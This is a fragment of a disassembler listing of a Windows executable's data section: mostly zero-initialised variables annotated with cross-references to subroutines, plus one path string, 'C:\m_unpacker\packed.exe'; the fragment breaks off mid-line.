sub_401AC7+899r word_4C91BC dw 0 ; DATA XREF: sub_401AC7+7BB4o ; ___:0040AF9Co ... align 10h dword_4C91C0 dd 0 ; DATA XREF: sub_4098FD+4A7w ; sub_4098FD+4EBr dword_4C91C4 dd 0 ; DATA XREF: sub_4098FD+65w ; sub_419BAA+166r dword_4C91C8 dd 0 ; DATA XREF: sub_4098FD+80Bw ; sub_4098FD+880r ... dword_4C91CC dd 0 ; DATA XREF: sub_4098FD+9D8w ; sub_4098FD+A43r ... dword_4C91D0 dd 0 ; DATA XREF: sub_4098FD+98Aw ; sub_4098FD+A13r ... dword_4C91D4 dd 0 ; DATA XREF: sub_4098FD+48Dw ; sub_4098FD+4DBr dword_4C91D8 dd 0 ; DATA XREF: sub_4098FD+213w ; sub_4098FD+234r dword_4C91DC dd 0 ; DATA XREF: sub_4098FD+9CBw ; sub_4098FD+A3Br ... dword_4C91E0 dd 0 ; DATA XREF: sub_4098FD+372w ; sub_4098FD+3C7r ... dword_4C91E4 dd 0 ; DATA XREF: sub_4098FD+40Fw ; sub_41AF2B+11Er dword_4C91E8 dd 0 ; DATA XREF: sub_4098FD+37Fw ; sub_4098FD+3CFr ... dword_4C91EC dd 0 ; DATA XREF: sub_4098FD+3C0w ; sub_419198+ADr dword_4C91F0 dd 0 ; DATA XREF: sub_4098FD+55Aw ; sub_40FAA3+115r ... dword_4C91F4 dd 0 ; DATA XREF: sub_4098FD+72w ; sub_4098FD+D2r ... dword_4C91F8 dd 0 ; DATA XREF: sub_4098FD+97Dw ; sub_4098FD+A06r ... dword_4C91FC dd 0 ; DATA XREF: sub_4098FD+3A6w ; sub_4098FD+3E7r ... dword_4C9200 dd 0 ; DATA XREF: sub_4098FD+859w ; sub_4098FD+8ACr ... dword_4C9204 dd 0 ; DATA XREF: sub_4098FD+2A5w ; sub_4098FD+2F0r dword_4C9208 dd 0 ; DATA XREF: sub_4098FD+84Cw ; sub_4098FD+8A4r ... dword_4C920C dd 0 ; DATA XREF: sub_4098FD+B3w dword_4C9210 dd 0 ; DATA XREF: sub_4098FD+866w ; sub_4098FD+8B4r ... dword_4C9214 dd 0 ; DATA XREF: sub_4098FD+54Dw ; sub_4098FD+6D0r ... dword_4C9218 dd 0 ; DATA XREF: sub_4098FD+58w ; sub_4098FD+CAr ... dword_4C921C dd 0 ; DATA XREF: sub_4098FD+934w dword_4C9220 dd 0 ; DATA XREF: sub_401AC7:loc_403EAFr ; sub_4098FD+A95w ... dword_4C9224 dd 0 ; DATA XREF: sub_4098FD+A6w ; sub_4098FD+F2r dword_4C9228 dd 0 ; DATA XREF: sub_4098FD+480w ; sub_4098FD+4D3r dword_4C922C dd 0 ; DATA XREF: sub_4098FD+5F6w ; sub_40C252+20r dword_4C9230 dd 0 ; DATA XREF: sub_4098FD+9BEw ; sub_4098FD+A33r dword_4C9234 dd 0 ; DATA XREF: sub_4098FD+5E9w ; sub_4098FD+754r ... dword_4C9238 dd 0 ; DATA XREF: sub_4098FD+A0Cw dword_4C923C dd 0 ; DATA XREF: sub_4098FD+B50w ; sub_40DC32+9Ar dword_4C9240 dd 0 ; DATA XREF: sub_4098FD+7FEw ; sub_4098FD+86Dr ... dword_4C9244 dd 0 ; DATA XREF: sub_4098FD+1B3w ; sub_40B5A8+3Do ... dword_4C9248 dd 0 ; DATA XREF: sub_4098FD+997w ; sub_4098FD+A1Br ... dword_4C924C dd 0 ; DATA XREF: sub_4098FD+38Cw ; sub_4098FD+3D7r ... dword_4C9250 dd 0 ; DATA XREF: sub_4098FD+399w ; sub_4098FD+3DFr ... dword_4C9254 dd 0 ; DATA XREF: sub_4098FD+C85w ; sub_4098FD+C8Cr dword_4C9258 dd 0 ; DATA XREF: sub_4098FD+6ACw ; ___:0041124Er dword_4C925C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4C9260 dd 0 ; DATA XREF: sub_4098FD+4B4w dword_4C9264 dd 0 ; DATA XREF: sub_4098FD+9E5w ; sub_4098FD+A4Br ... dword_4C9268 dd 0 ; DATA XREF: sub_401000+51r ; sub_4098FD+2B2w ... dword_4C926C dd 0 ; DATA XREF: sub_4098FD+7Fw ; sub_4098FD+DAr ... dword_4C9270 dd 0 ; DATA XREF: sub_401AC7+588Ar ; sub_401AC7+783Br ... dword_4C9274 dd 0 ; DATA XREF: ___:004012ADr ; sub_401AC7+5081r ... dword_4C9278 dd 0 ; DATA XREF: sub_4098FD+825w ; sub_4098FD+890r ... dword_4C927C dd 0 ; DATA XREF: sub_4098FD+9A4w ; sub_4098FD+A23r dword_4C9280 dd 0 ; DATA XREF: sub_4098FD+C0Ew ; sub_4098FD+C3Fr dword_4C9284 dd 0 ; DATA XREF: sub_4098FD+2CCw ; sub_4189DF+47r dword_4C9288 dd 0 ; DATA XREF: sub_4098FD+22Dw dword_4C928C dd 0 ; DATA XREF: sub_4098FD+91Aw ; sub_4098FD+92Er dword_4C9290 dd 0 ; DATA XREF: sub_4098FD+C28w dword_4C9294 dd 0 ; DATA XREF: sub_4098FD+2D9w ; sub_4189DF+4Fr dword_4C9298 dd 0 ; DATA XREF: sub_4098FD+574w ; sub_4098FD+6E8r ... dword_4C929C dd 0 ; DATA XREF: sub_4098FD+83Fw ; sub_4098FD+873r dword_4C92A0 dd 0 ; DATA XREF: sub_4098FD+220w ; sub_4098FD+23Cr dword_4C92A4 dd 0 ; DATA XREF: sub_4098FD+172w ; sub_4098FD+1C2r dword_4C92A8 dd 0 ; DATA XREF: sub_401AC7+1DBEr ; sub_401AC7+5A43r ... dword_4C92AC dd 0 ; DATA XREF: sub_4017E7+C4r ; sub_401AC7+510Br ... dword_4C92B0 dd 0 ; DATA XREF: sub_4098FD+567w ; sub_4098FD+6DCr ... dword_4C92B4 dd 0 ; DATA XREF: sub_4098FD+8DBw ; sub_4098FD:loc_40A1F6w ... dword_4C92B8 dd 0 ; DATA XREF: sub_401000+26r ; sub_4098FD+28Bw ... dword_4C92BC dd 0 ; DATA XREF: sub_401AC7+77C0r ; sub_4098FD+69Fw ... dword_4C92C0 dd 0 ; DATA XREF: sub_4098FD+32Dw ; sub_4098FD+341r ... dword_4C92C4 dd 0 ; DATA XREF: sub_4098FD+3B3w ; sub_4098FD+3EFr ... dword_4C92C8 dd 0 ; DATA XREF: sub_4098FD+C01w ; sub_4098FD+C37r dword_4C92CC dd 0 ; DATA XREF: sub_4098FD+818w ; sub_4098FD+888r ... dword_4C92D0 dd 0 ; DATA XREF: sub_4098FD+206w ; sub_4098FD+227r dword_4C92D4 dd 0 ; DATA XREF: sub_4098FD+18Cw ; sub_4098FD+1D2r ... dword_4C92D8 dd 0 ; DATA XREF: sub_4098FD+832w ; sub_4098FD+898r ... dword_4C92DC dd 0 ; DATA XREF: sub_4098FD+624w ; sub_4098FD+774r dword_4C92E0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_4098FD+2BFw ... dword_4C92E4 dd 0 ; DATA XREF: sub_4098FD+66Bw ; sub_4098FD+79Cr ... dword_4C92E8 dd 0 ; DATA XREF: sub_4098FD+320w ; sub_4098FD+334r ... dword_4C92EC dd 0 ; DATA XREF: sub_4098FD+644w ; sub_4098FD+784r ... dword_4C92F0 dd 0 ; DATA XREF: sub_4098FD+44Cw ; sub_4098FD+4AEr dword_4C92F4 dd 0 ; DATA XREF: sub_4098FD+199w ; sub_4098FD+1DAr ... dword_4C92F8 dd 0 ; DATA XREF: sub_4098FD+365w ; sub_4098FD+3BAr ... dword_4C92FC dd 0 ; DATA XREF: sub_4098FD+AA2w dword_4C9300 dd 0 ; DATA XREF: sub_4098FD+5DCw ; sub_4098FD+748r ... dword_4C9304 dd 0 ; DATA XREF: sub_4017E7+3Er ; sub_401AC7+50BDr ... dword_4C9308 dd 0 ; DATA XREF: sub_4098FD+4Bw ; sub_4098FD+C2r ... dword_4C930C dd 0 ; DATA XREF: sub_4098FD+473w ; sub_4098FD+4CBr dword_4C9310 dd 0 ; DATA XREF: sub_4098FD+165w ; sub_4098FD+1BAr ... dword_4C9314 dd 0 ; DATA XREF: sub_4098FD+9FFw ; sub_4098FD+A5Br ... dword_4C9318 dd 0 ; DATA XREF: sub_4098FD+685w ; sub_4098FD+7ACr ... dword_4C931C dd 0 ; DATA XREF: sub_40194F+D1r ; sub_401AC7+5120r ... dword_4C9320 dd 0 ; DATA XREF: sub_4098FD+C1Bw ; sub_4098FD+C47r dword_4C9324 dd 0 ; DATA XREF: sub_4098FD+3Ew ; sub_4098FD+BAr ... dword_4C9328 dd 0 ; DATA XREF: sub_401000+45r ; sub_4098FD+298w ... dword_4C932C dd 0 ; DATA XREF: sub_4098FD+651w ; sub_4098FD+78Cr ... dword_4C9330 dd 0 ; DATA XREF: sub_4098FD+637w ; sub_4098FD+77Cr ... dword_4C9334 dd 0 ; DATA XREF: sub_4098FD+C92w dword_4C9338 dd 0 ; DATA XREF: sub_4098FD+879w ; ___:00416C30r ... dword_4C933C dd 0 ; DATA XREF: sub_4098FD+112w dword_4C9340 dd 0 ; DATA XREF: sub_4098FD+BE7w ; sub_4098FD+C22r dword_4C9344 dd 0 ; DATA XREF: sub_401AC7+2FC3r ; sub_401AC7+5EFCr ... dword_4C9348 dd 0 ; DATA XREF: sub_4098FD+459w ; sub_4098FD+4BBr dword_4C934C dd 0 ; DATA XREF: sub_4098FD+49Aw ; sub_4098FD+4E3r dword_4C9350 dd 0 ; DATA XREF: sub_4098FD+466w ; sub_4098FD+4C3r dword_4C9354 dd 0 ; DATA XREF: sub_40194F+89r ; sub_401AC7+513Dr ... dword_4C9358 dd 0 ; DATA XREF: sub_4098FD+1A6w ; sub_4098FD+1E2r ... dword_4C935C dd 0 ; DATA XREF: sub_4098FD+9F2w ; sub_4098FD+A53r ... dword_4C9360 dd 0 ; DATA XREF: sub_4098FD+158w ; sub_4098FD+1ADr ... dword_4C9364 dd 0 ; DATA XREF: sub_4098FD+8Cw ; sub_4098FD+E2r ... dword_4C9368 dd 0 ; DATA XREF: sub_4098FD+610w ; sub_4098FD+764r ... dword_4C936C dd 0 ; DATA XREF: sub_4098FD+B43w ; sub_4098FD+B5Fr dword_4C9370 dd 0 ; DATA XREF: sub_4098FD+33Aw ; sub_419B3F+55r dword_4C9374 dd 0 ; DATA XREF: sub_4098FD+27Ew ; sub_4098FD+2D3r ... dword_4C9378 dd 0 ; DATA XREF: sub_4098FD+BAAw dword_4C937C dd 0 ; DATA XREF: sub_4098FD+AECw ; sub_40A91C+CEr dword_4C9380 dd 0 ; DATA XREF: sub_4098FD+ADFw ; sub_4098FD+AE6r ... dword_4C9384 dd 0 ; DATA XREF: sub_4017E7+A6r ; sub_401AC7+509Cr ... dword_4C9388 dd 0 ; DATA XREF: sub_401AC7+508Er ; sub_401AC7+77E7r ... dword_4C938C dd 0 ; DATA XREF: sub_4098FD+BF4w ; sub_4098FD+C2Fr dword_4C9390 dd 0 ; DATA XREF: sub_401AC7+1DE4r ; sub_401AC7+5A69r ... dword_4C9394 dd 0 ; DATA XREF: sub_4098FD+9B1w ; sub_4098FD+A2Br ... dword_4C9398 dd 0 ; DATA XREF: sub_4098FD+65Ew ; sub_4098FD+794r ... dword_4C939C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017E7+D0r ... dword_4C93A0 dd 0 ; DATA XREF: sub_4098FD+59Bw ; sub_4098FD+70Cr ... dword_4C93A4 dd 0 ; DATA XREF: sub_4098FD+B36w ; sub_4098FD+B57r ... dword_4C93A8 dd 0 ; DATA XREF: sub_4098FD+540w ; sub_4098FD+6C4r ... dword_4C93AC dd 0 ; DATA XREF: sub_4098FD+B29w ; sub_4098FD+B4Ar dword_4C93B0 dd 0 ; DATA XREF: ___:00401273r ; sub_4098FD+31w ... dword_4C93B4 dd 0 ; DATA XREF: sub_4098FD+17Fw ; sub_4098FD+1CAr dd 0 dword_4C93BC dd 0 ; DATA XREF: sub_4098FD+927w ; sub_4098FD+93Br dword_4C93C0 dd 0 ; DATA XREF: sub_4098FD+99w ; sub_4098FD+EAr ... dword_4C93C4 dd 0 ; DATA XREF: sub_4098FD:loc_4099FBw ; sub_4098FD+12Bw ... dword_4C93C8 dd 0 ; DATA XREF: sub_4098FD+126w ; sub_40A5B9+1Cr dword_4C93CC dd 0 ; DATA XREF: sub_4098FD:loc_409AEBw ; sub_4098FD:loc_409B52w ... dword_4C93D0 dd 0 ; DATA XREF: sub_4098FD+250w ; sub_40A5B9+50r dword_4C93D4 dd 0 ; DATA XREF: ___:00401567r ; sub_401AC7+4466r ... dword_4C93D8 dd 0 ; DATA XREF: sub_4098FD+41Ew ; sub_40A5B9+84r dword_4C93DC dd 0 ; DATA XREF: sub_4098FD:loc_409E01w ; sub_40A5B9:loc_40A669r dword_4C93E0 dd 0 ; DATA XREF: sub_4098FD+4FFw ; sub_40A5B9+B8r dword_4C93E4 dd 0 ; DATA XREF: sub_4098FD:loc_40A0D2w ; sub_40A5B9:loc_40A69Dr dword_4C93E8 dd 0 ; DATA XREF: sub_4098FD+7D0w ; sub_40A5B9+ECr dword_4C93EC dd 0 ; DATA XREF: sub_4098FD:loc_40A1BDw ; sub_4098FD+8EFw ... dword_4C93F0 dd 0 ; DATA XREF: sub_4098FD+8EAw ; sub_40A5B9+120r dword_4C93F4 dd 0 ; DATA XREF: sub_401AC7:loc_406E82r ; sub_4098FD:loc_40A251w ... dword_4C93F8 dd 0 ; DATA XREF: sub_4098FD+94Fw ; sub_40A5B9+154r dword_4C93FC dd 0 ; DATA XREF: sub_401AC7+446Er ; sub_4098FD:loc_40A36Dw ... dword_4C9400 dd 0 ; DATA XREF: sub_4098FD+A6Bw ; sub_40A5B9+188r dword_4C9404 dd 0 ; DATA XREF: sub_4098FD:loc_40A3B7w ; sub_40A5B9:loc_40A76Dr dword_4C9408 dd 0 ; DATA XREF: sub_4098FD+AB5w ; sub_40A5B9+1BCr dword_4C940C dd 0 ; DATA XREF: sub_4098FD:loc_40A401w ; sub_40A5B9:loc_40A7A1r dword_4C9410 dd 0 ; DATA XREF: sub_4098FD+AFFw ; sub_40A5B9+1F0r dword_4C9414 dd 0 ; DATA XREF: sub_4098FD:loc_40A475w ; sub_40A5B9:loc_40A7D5r dword_4C9418 dd 0 ; DATA XREF: sub_4098FD+B73w ; sub_40A5B9+224r dword_4C941C dd 0 ; DATA XREF: sub_4098FD:loc_40A4BFw ; sub_40A5B9:loc_40A809r dword_4C9420 dd 0 ; DATA XREF: sub_4098FD+BBDw ; sub_40A5B9+258r dword_4C9424 dd 0 ; DATA XREF: sub_4098FD:loc_40A55Dw ; sub_40A5B9:loc_40A83Dr dword_4C9428 dd 0 ; DATA XREF: sub_4098FD+C5Bw ; sub_40A5B9+28Cr dword_4C942C dd 0 ; DATA XREF: sub_4098FD:loc_40A5A7w ; sub_40A5B9:loc_40A871r dword_4C9430 dd 0 ; DATA XREF: sub_4098FD+CA5w ; sub_40A5B9+2C0r dword_4C9434 dd 5 dup(0) ; DATA XREF: sub_40A9FA+32o byte_4C9448 db 0 ; DATA XREF: sub_40B2A6+6Ar ; sub_40B2A6+98w align 10h dword_4C9450 dd 0 ; DATA XREF: sub_40BD05+18r ; sub_40C29A+92w ... dword_4C9454 dd 0 ; DATA XREF: sub_40C3D3+4Dr ; sub_40C3D3+2EDw ... dd 7FEh dup(0) dword_4CB450 dd 6 dup(0) ; DATA XREF: sub_40C3D3+CFo ; sub_40C3D3+138o ... dword_4CB468 dd 0 ; DATA XREF: sub_40BD7C+2C4w ; sub_40BD7C+348o dword_4CB46C dd 0 ; DATA XREF: sub_40BD7C+33Ew ; sub_40BD7C+35Ar dword_4CB470 dd 0 ; DATA XREF: sub_40BD7C+2CFw dword_4CB474 dd 0 ; DATA XREF: sub_40BD7C+2B9w ; sub_40BD7C:loc_40C091r dword_4CB478 dd 20h dup(0) ; DATA XREF: sub_40BD7C+2E2o ; sub_40BD7C+302o dword_4CB4F8 dd 0 ; DATA XREF: sub_40BD7C+2D5w dword_4CB4FC dd 0 ; DATA XREF: sub_40BD7C+2EFw ; sub_40BD7C+30Fw dword_4CB500 dd 0 ; DATA XREF: sub_40BD7C:loc_40C0ECr align 8 dword_4CB508 dd 0 ; DATA XREF: sub_40BD7C+82w ; sub_40BD7C+101o dword_4CB50C dd 41h dup(0) ; DATA XREF: sub_40BD7C+41o dword_4CB610 dd 41h dup(0) ; DATA XREF: sub_40BD7C+69o dword_4CB714 dd 0 ; DATA XREF: sub_40BD7C+F7w ; sub_40BD7C+113r dword_4CB718 dd 0 ; DATA XREF: sub_40BD7C+52w dword_4CB71C dd 0 ; DATA XREF: sub_40BD7C+4Dw ; sub_40BD7C+D4r dword_4CB720 dd 20h dup(0) ; DATA XREF: sub_40BD7C+9Ao ; sub_40BD7C+BAo dword_4CB7A0 dd 0 ; DATA XREF: sub_40BD7C+8Fw dword_4CB7A4 dd 0 ; DATA XREF: sub_40BD7C+A7w ; sub_40BD7C+C7w dword_4CB7A8 dd 0 ; DATA XREF: sub_40BD7C:loc_40BEA5r align 10h dword_4CB7B0 dd 0 ; DATA XREF: sub_40BD7C+1A5w ; sub_40BD7C+225o dword_4CB7B4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+167o dword_4CB8B8 dd 41h dup(0) ; DATA XREF: sub_40BD7C+18Co dword_4CB9BC dd 0 ; DATA XREF: sub_40BD7C+21Bw ; sub_40BD7C+237r dword_4CB9C0 dd 0 ; DATA XREF: sub_40BD7C+17Aw dword_4CB9C4 dd 0 ; DATA XREF: sub_40BD7C+175w ; sub_40BD7C+1F8r dword_4CB9C8 dd 20h dup(0) ; DATA XREF: sub_40BD7C+1BEo ; sub_40BD7C+1DEo dword_4CBA48 dd 0 ; DATA XREF: sub_40BD7C+1B1w dword_4CBA4C dd 0 ; DATA XREF: sub_40BD7C+1CBw ; sub_40BD7C+1EBw dword_4CBA50 dd 0 ; DATA XREF: sub_40BD7C:loc_40BFC9r align 8 dword_4CBA58 dd 0 ; DATA XREF: sub_40BD7C+417w ; sub_40BD7C+470o dword_4CBA5C dd 0A2h dup(0) ; DATA XREF: sub_40BD7C+405o dword_4CBCE4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+3CFo dword_4CBDE8 dd 0 ; DATA XREF: sub_40BD7C+3FCw ; sub_40BD7C+423r align 10h dword_4CBDF0 dd 0 ; DATA XREF: sub_40BD7C+466w ; sub_40BD7C+482r dword_4CBDF4 dd 0 ; DATA XREF: sub_40BD7C+429w dword_4CBDF8 dd 0 ; DATA XREF: sub_40BD7C+436w dword_4CBDFC dd 0 ; DATA XREF: sub_40BD7C+3F6w dd 0 dword_4CBE04 dd 0 ; DATA XREF: sub_40BD7C:loc_40C214r dd 0 dword_4CBE0C dd 0 ; DATA XREF: sub_40B9CF+Er ; sub_40B9CF+31r dword_4CBE10 dd 0 ; DATA XREF: sub_40B9CF+9r ; sub_40B9CF+25r dword_4CBE14 dd 82h dup(0) ; DATA XREF: sub_40C846+8Do dword_4CC01C dd 2 dup(0) ; DATA XREF: sub_40D1AF+68o dword_4CC024 dd 0 ; DATA XREF: sub_40DB4F+9Eo dword_4CC028 dd 0 ; DATA XREF: sub_40E288+8w ; ___:0040E657o align 10h dword_4CC030 dd 2 dup(0) ; DATA XREF: ___:0040E58Do ; sub_41B4FB+8o ... dword_4CC038 dd 0 ; DATA XREF: ___:0040EEC0r dd 0 dd 0 dword_4CC044 dd 0 ; DATA XREF: ___:0040EE93r dword_4CC048 dd 0 ; DATA XREF: ___:0040EE75r ; ___:0040EEDEr align 10h dword_4CC050 dd 0 ; DATA XREF: sub_40BD7C+2AEr align 8 dword_4CC058 dd 0 ; DATA XREF: sub_40BA3A+1Br dword_4CC05C dd 0 ; DATA XREF: ___:0040F9B6w ; ___:0040F9DDr ... dd 3 dup(0) dword_4CC06C dd 0 ; DATA XREF: ___:004112C4r dd 0 dword_4CC074 dd 0 ; DATA XREF: sub_412E9B+4w ; sub_412E9B+9o dd 10Ah dup(0) dword_4CC4A0 dd 188h dup(0) ; DATA XREF: sub_401AC7+2F39o ; sub_401AC7:loc_404AAFo dword_4CCAC0 dd 0 ; DATA XREF: sub_401AC7+19B6w ; sub_401AC7+2F31r ... dd 11Ch dup(0) dword_4CCF34 dd 1000h dup(0) ; DATA XREF: sub_415CEE+1Do ; sub_415D8Eo ... dword_4D0F34 dd 0 ; DATA XREF: sub_415CEE+13o ; sub_415D8E+Eo ... dword_4D0F38 dd 0Eh dup(0) ; DATA XREF: sub_416C7D+Fo dword_4D0F70 dd 80h dup(0) ; DATA XREF: sub_417938+41o dword_4D1170 dd 200h dup(0) ; DATA XREF: sub_417269+C7o ; sub_4175C4+DDo ... dword_4D1970 dd 200h dup(0) ; DATA XREF: sub_417269+D6o ; sub_4175C4+F4o ... dword_4D2170 dd 0 ; DATA XREF: sub_417269+86w ; sub_41743B+94r dword_4D2174 dd 0 ; DATA XREF: sub_417269+A7w ; sub_4178A1+55r ... dword_4D2178 dd 0 ; DATA XREF: sub_417269+A0w ; sub_41743B+D6r ... dword_4D217C dd 0 ; DATA XREF: sub_417269+79w ; sub_41743B+35r ... dword_4D2180 dd 80h dup(0) ; DATA XREF: sub_4178A1+5Eo dword_4D2380 dd 0 ; DATA XREF: sub_417269+93w ; sub_41743B+A2r align 8 dword_4D2388 dd 0 ; DATA XREF: sub_417269+E7o ; sub_417269+103r ... dword_4D238C dd 0 ; DATA XREF: sub_4175C4+17Bw ; sub_41776B+107w dword_4D2390 dd 0 ; DATA XREF: sub_4175C4+180w ; sub_41776B+10Dw ... dword_4D2394 dd 0 ; DATA XREF: sub_4175C4+159w ; sub_4178A1+4Fr dword_4D2398 dd 0 ; DATA XREF: sub_417C15+22w ; sub_417C15:loc_417D97w ... dword_4D239C dd 0 ; DATA XREF: sub_401AC7+3C99o ; sub_417AD7+12o ... dd 0 dword_4D23A4 dd 0 ; DATA XREF: sub_417C15+1Cr ; sub_417DB7+3Ar dd 7Fh dup(0) dword_4D25A4 dd 0 ; DATA XREF: sub_417C15+28r ; sub_417DB7+4Aw dword_4D25A8 dd 6EAh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437BD0o dword_4D4154 dd 1259h dup(0) dword_4D8AB8 dd 0 ; DATA XREF: sub_417DB7+23o dword_4D8ABC dd 81h dup(0) ; DATA XREF: sub_401AC7+3CBDo ; sub_417AD7+3Co ... dword_4D8CC0 dd 17h dup(0) ; DATA XREF: sub_418CE8:loc_418E05o ; sub_418CE8+131o ... dword_4D8D1C dd 80h dup(0) ; DATA XREF: sub_419A81+7Co ; sub_419A81+A5o dword_4D8F1C dd 0 ; DATA XREF: sub_419062+45w ; sub_419062+4Dr ... dword_4D8F20 dd 17h dup(0) ; DATA XREF: sub_41994D:loc_419A6Fo ; sub_41994D+12Do dword_4D8F7C dd 80h dup(0) ; DATA XREF: sub_418FA3+4Bo ; sub_418FA3+7Do ... byte_4D917C db 0 ; DATA XREF: sub_419062+29r ; sub_419062+34w align 10h dword_4D9180 dd 80h dup(0) ; DATA XREF: sub_4192B9+61o ; sub_4192B9+88o ... dword_4D9380 dd 81h dup(0) ; DATA XREF: sub_418BBF+33o ; sub_418BBF+50o ... dword_4D9584 dd 0 ; DATA XREF: sub_419F0E:loc_419F2Fr ; sub_419FFD+54r ... dword_4D9588 dd 0 ; DATA XREF: sub_419F0Er ; sub_419FFD+37r ... dword_4D958C dd 0 ; DATA XREF: sub_419F3E+1Ar ; sub_41A152+83o dword_4D9590 dd 0 ; DATA XREF: sub_419F0E:loc_419F22r ; sub_41A152+11Bw dword_4D9594 dd 0Dh dup(0) ; DATA XREF: sub_419FFD+13o ; sub_41A152:loc_41A28Fo dword_4D95C8 dd 0 ; DATA XREF: sub_419FFD+CDr ; sub_419FFD+ECr ... align 10h dword_4D95D0 dd 0Fh dup(0) ; DATA XREF: sub_41AD74+47o byte_4D960C db 0 ; DATA XREF: sub_41B4CF+6o ; ___:0041B821o ... align 10h dd 3Fh dup(0) dword_4D970C dd 2 dup(0) ; DATA XREF: sub_41B4FB+18o dword_4D9714 dd 0 ; DATA XREF: sub_41C326+1B9w ; ___:loc_41DA08w ... dword_4D9718 dd 0 ; DATA XREF: sub_41DB5E+35w ; sub_41E212:loc_41E2ACw ... dword_4D971C dd 0 ; DATA XREF: sub_42393B+13Ar dd 0A28h, 501h, 5, 1 dword_4D9730 dd 1 ; DATA XREF: ___:loc_401513r ; ___:00422F1Cw dword_4D9734 dd 28D0AF0h ; DATA XREF: ___:0040151Cr ; ___:0040153Cr ... dd 0 dword_4D973C dd 28D0A70h ; DATA XREF: ___:00422E16w ; sub_4259A3+9r ... dword_4D9740 dd 0 ; DATA XREF: sub_426087+36r dword_4D9744 dd 0 ; DATA XREF: sub_4259A3+16r ; sub_425D71+4r ... dd 0 off_4D974C dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4D9754 db 0 ; DATA XREF: sub_41BF53+2Dw ; sub_4238E3+5r align 4 dword_4D9758 dd 0 ; DATA XREF: sub_41BF53+27w dword_4D975C dd 0 ; DATA XREF: sub_41BF53+4r ; sub_41BF53+8Bw dword_4D9760 dd 0 ; DATA XREF: sub_41C864+3Br ; sub_41C864+91w align 8 dword_4D9768 dd 0 ; DATA XREF: sub_41CEB4+Aw align 10h dword_4D9770 dd 0 ; DATA XREF: sub_41D81B+5Er ; sub_41D81B+A4w align 8 word_4D9778 dw 0 ; DATA XREF: sub_41D81B+55r ; sub_41D81B+9Ao word_4D977A dw 0 ; DATA XREF: sub_41D81B+48r db 2 dup(0) word_4D977E dw 0 ; DATA XREF: sub_41D81B+3Br word_4D9780 dw 0 ; DATA XREF: sub_41D81B+2Er word_4D9782 dw 0 ; DATA XREF: sub_41D81B+21r align 8 dword_4D9788 dd 0 ; DATA XREF: ___:loc_422DE4r ; ___:loc_422E26r ... align 10h dword_4D9790 dd 0 ; DATA XREF: sub_41E1C9r ___:0041E1F0o ... dword_4D9794 dd 0 ; DATA XREF: sub_41F247r dword_4D9798 dd 0 ; DATA XREF: sub_41BB48:loc_41BC44r ; sub_41BC9Br ... dword_4D979C dd 1 ; DATA XREF: sub_41FDDE:loc_41FF59r ; sub_41FF77+4w ... dword_4D97A0 dd 0 ; DATA XREF: sub_42037B+37r align 8 dword_4D97A8 dd 0 ; DATA XREF: sub_42190E+11r ; sub_421A12+1Ar ... byte_4D97AC db 0 ; DATA XREF: sub_42190E+3r ; sub_42190E+98r ... align 10h dword_4D97B0 dd 0 ; DATA XREF: sub_421A12+11r ; sub_421AF0+21w ... byte_4D97B4 db 0 ; DATA XREF: sub_421AF0+51w align 4 dword_4D97B8 dd 0 ; DATA XREF: sub_421CE6+4Er ; sub_4220C1+3Ar ... dword_4D97BC dd 0 ; DATA XREF: sub_421CE6+5Cr ; sub_4220C1+43r ... dword_4D97C0 dd 0 ; DATA XREF: sub_41D13A+7Ar ; sub_421E8D+5r dword_4D97C4 dd 0 ; DATA XREF: sub_42249C+29r dword_4D97C8 dd 2 dup(0) ; DATA XREF: sub_41D900+Co dword_4D97D0 dd 0 ; DATA XREF: sub_41DD4A+4r ; sub_41DD4A+6Er ... align 10h dword_4D97E0 dd 0 ; DATA XREF: sub_41DFD4+61r ; sub_41DFD4+BFr ... align 8 dword_4D97E8 dd 1 ; DATA XREF: sub_4229D2+28r ; sub_4229D2+4Cw ... dword_4D97EC dd 0 ; DATA XREF: ___:00422C30r ; ___:00422C3Cw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o ; ___:off_4D974Co align 4 dd 3Ah dup(0) dword_4D98F4 dd 1 ; DATA XREF: ___:004230DAr ; ___:004230FBw ... dword_4D98F8 dd 0 ; DATA XREF: sub_423498+21r dword_4D98FC dd 0 ; DATA XREF: sub_41F262+154w ; sub_42037B:loc_4203A4w ... dword_4D9900 dd 0 ; DATA XREF: sub_41F262+7r dword_4D9904 dd 1 ; DATA XREF: sub_423BF4+26r ; sub_423BF4:loc_423C5Ew word_4D9908 dw 0 ; DATA XREF: sub_4244F9+1Ao ; sub_4244F9+46r byte_4D990A db 0 ; DATA XREF: sub_4244F9+39r align 4 dword_4D990C dd 7 dup(0) ; DATA XREF: sub_4244F9+52o dword_4D9928 dd 0 ; DATA XREF: sub_4244F9+40w ; sub_4244F9+5Co dword_4D992C dd 0 ; DATA XREF: sub_4244F9+4Dw dword_4D9930 dd 0 ; DATA XREF: sub_4244F9+31w dword_4D9934 dd 0 ; DATA XREF: sub_4244F9+52w dword_4D9938 dd 77C26E79h ; DATA XREF: sub_42461C:loc_42463Fr ; sub_42461C+38r ... align 10h dword_4D9940 dd 0 ; DATA XREF: sub_4246FC+11w ; sub_4246FC+63w ... align 8 dword_4D9948 dd 0 ; DATA XREF: sub_4246FC+33o ; sub_4246FC+46r dword_4D994C dd 10h dup(0) ; DATA XREF: sub_4246FC+C1o word_4D998C dw 0 ; DATA XREF: sub_42495A+A8r word_4D998E dw 0 ; DATA XREF: sub_4246FC+54r ; sub_42495A+DBr ... word_4D9990 dw 0 ; DATA XREF: sub_42495A+CAr word_4D9992 dw 0 ; DATA XREF: sub_42495A+D3r ; sub_42495A:loc_424A4Cr word_4D9994 dw 0 ; DATA XREF: sub_42495A+C0r word_4D9996 dw 0 ; DATA XREF: sub_42495A+B8r word_4D9998 dw 0 ; DATA XREF: sub_42495A+B0r word_4D999A dw 0 ; DATA XREF: sub_42495A+9Er dword_4D999C dd 0 ; DATA XREF: sub_4246FC+4Br dword_4D99A0 dd 10h dup(0) ; DATA XREF: sub_4246FC+FBo word_4D99E0 dw 0 ; DATA XREF: sub_42495A+46r word_4D99E2 dw 0 ; DATA XREF: 